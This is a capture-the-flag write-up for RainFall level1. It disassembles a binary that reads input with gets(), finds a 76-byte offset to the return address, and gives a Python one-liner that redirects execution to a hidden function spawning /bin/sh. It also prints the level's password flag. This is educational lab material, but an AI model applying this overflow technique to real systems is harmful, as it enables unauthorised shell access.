[CTF] Simple Buffer Overflow Attack using 'GETS' vulnerability (rainfall-lvl01)
Table of contents:
This executable is the 2nd one from the ISO file provided to us as a CTF challenge, for more context please visit here we retrieve the assembly code using gdb
level1@RainFall:~$ gdb ./level1
notes
0x08048444 run : function not called in main
0x08048480 main
0x08048480 : main() : disassembly
- notebook: (to convert
hex
todec
and assign variable names for better reading)
{
int argc = ebp+0x8
char **argv = ebp+12
char *buffer1[80-16=64] = esp+16
}
<0> ➜ <+6> : prepare stack frame for n function with size 80
0x08048480 <+0>: push ebp
0x08048481 <+1>: mov ebp,esp
0x08048483 <+3>: and esp,0xfffffff0
0x08048486 <+6>: sub esp,80
<+9> ➜ <+16> : take input from user and save it into buffer1 using gets()
0x08048489 <+9>: lea eax,[buffer1]
0x0804848d <+13>: mov DWORD PTR [esp],eax
0x08048490 <+16>: call 0x8048340 <gets@plt>
<+21> ➜ <+22> : exit the main function
0x08048495 <+21>: leave
0x08048496 <+22>: ret
Stack Illustration (main function)
with the following input
A * 76 + B * 4
+-------------------+
[ **argv ]
+-------------------+ +12
[ argc ]
+-------------------+ +8
[ret addr (OLD_EIP) ] <--- EIP BBBB <- offset of buffer Overflow
+-------------------+ +4 AAAA <- A * 76 times
[ OLD_EBP ] AAAA
+-------------------+ <---EBP AAAA
[and esp,0xfffffff0 ] <--- stack alignement
+-------------------+ AAAA
[ AAAA ] AAAA
+-------------------+ +80 <------+ AAAA ^
[ AAAA ] | AAAA |
+-------------------+ +76 | AAAA |
[ AAAA ] | AAAA
+-------------------+ +72 | AAAA
* | AAAA
* |----- size of buffer1 = 64 = (80 - 16)
* | AAAA
+-------------------+ +24 | AAAA
[ AAAA ] | AAAA
+-------------------+ +20 | AAAA
[ start of buffer1 ] | AAAA
+-------------------+ +16 <------+
[ ]
+-------------------+ +12
[ ]
+-------------------+ +8
[ ]
+-------------------+ +4
[ ]
+-------------------+ <---ESP
0x08048444 : run() : disassembly
- notebook: (to convert
hex
todec
and assign variable names for better reading)
// 0x18 ... 24
// 0x13 ... 19
<0> ➜ <+3> : prepare stack frame for n function with size 24
0x08048444 <+0>: push ebp
0x08048445 <+1>: mov ebp,esp
0x08048447 <+3>: sub esp,24
<+6> ➜ <+41> : print "Good... Wait what?\n" on the screen with fwrite
0x0804844a <+6>: mov eax,ds:0x80497c0 // stdout
0x0804844f <+11>: mov edx,eax
0x08048451 <+13>: mov eax,0x8048570 // "Good... Wait what?\n"
0x08048456 <+18>: mov DWORD PTR [esp+12],edx
0x0804845a <+22>: mov DWORD PTR [esp+8],19
0x08048462 <+30>: mov DWORD PTR [esp+4],1
0x0804846a <+38>: mov DWORD PTR [esp],eax
0x0804846d <+41>: call 0x8048350 <fwrite@plt>
fwrite("Good... Wait what?\n", 1, 19, stdout)
<+46> ➜ <+53> : call the shell process with system("/bin/sh")
0x08048472 <+46>: mov DWORD PTR [esp],0x8048584 // "/bin/sh"
0x08048479 <+53>: call 0x8048360 <system@plt> // system("/bin/sh")
<+58> ➜ <+59> : leave the function/ quit the function
0x0804847e <+58>: leave
0x0804847f <+59>: ret
Stack Illustration
+-------------------+
[ **argv ]
+-------------------+ +12
[ argc ]
+-------------------+ +8
[ret addr (OLD_EIP) ]
+-------------------+ +4
[ OLD_EBP ]
+-------------------+ <---EBP
[and esp,0xfffffff0 ] <--- stack alignement
+-------------------+ +24
[ ]
[ ] +24
[ ]
[ ] +20
[ ]
+-------------------+ +16
[ stdout ]
+-------------------+ +12
[ 19 ]
+-------------------+ +8
[ 1 ]
+-------------------+ +4
[ "/bin/sh" ] <--- after caling system / before : will be "Good... Wait what?\n"
+-------------------+ <---ESP
Code Prediction
function run () {
fwrite("Good... Wait what?\n", 1, 19, stdout);
system("/bin/sh");
return ;
}
int main(int argc(ebp+0x8), char **argv(ebp+12)) {
const buffer[64];
gets(buffer);
return;
}
Process of the Exploit
- lets find the offset where the program will buffer overflow :
- using the online tool
- we get the pattern generated there and send it to programm in GDB
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
(length : 100)
Starting program: /home/user/level1/level1 <<< "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
No function contains program counter for selected frame.
0x63413563 in ?? ()
(gdb)
- we can notice that the program segfaulted, showing that
0x63413563
is unknown , which says that the EIP address is overwritten by0x63413563
- ok good, lets take address back to the online tool and see what it says
- by entering the address in the Register value input the offset will display 76
- ok , the buffer overflow offset is : 76
- lets genereate another costum pattern to have a clear idea about the exploit
python -c 'print "A" * 76 + "BBBB" '
- lets try it in gdb , its should segfault in 0x42424242:
(gdb) run <<< $(python -c 'print "A" * 76 + "BBBB" ')
Starting program: /home/user/level1/level1 <<< $(python -c 'print "A" * 76 + "BBBB" ')
Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
No function contains program counter for selected frame.
0x42424242 in ?? ()
(gdb)
- exactly as expected
- now we need to change this address of BBBB with a valid address that will help us reach the end goal which is accessing the shell
- what we need exists in the function RUN but its not called,
- lets redirect the execution of the program to the function
- by changing the EIP in the main from return address to run address by replacing BBBB with the little endian format of the run functiona address
- run address :
0x08048444
- run address in little endian :
\x44\x84\x04\x08
- run address in little endian with python :
print "\x08\x04\x84\x44"[::-1]
(gdb) run <<< $(python -c 'print "A" * 76 + "\x08\x04\x84\x44"[::-1] ')
Starting program: /home/user/level1/level1 <<< $(python -c 'print "A" * 76 + "\x08\x04\x84\x44"[::-1] ')
Good... Wait what?
Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
No function contains program counter for selected frame.
0x00000000 in ?? ()
- run function has been executed
Solution :
level1@RainFall:~$ (python -c 'print "A" * 76 + "\x08\x04\x84\x44"[::-1] ') > /tmp/ok
level1@RainFall:~$ cat /tmp/ok | ./level1
Good... Wait what?
Segmentation fault (core dumped)
level1@RainFall:~$
- segfault error because the stdin is closed right away after the execution
- to avoid that we add a
-
after cat to keep the stdin open
level1@RainFall:~$ cat /tmp/ok - | ./level1
Good... Wait what?
whoami
level2
pwd
/home/user/level1
cat /home/user/level2/.pass
53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77
we got the flag : 53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77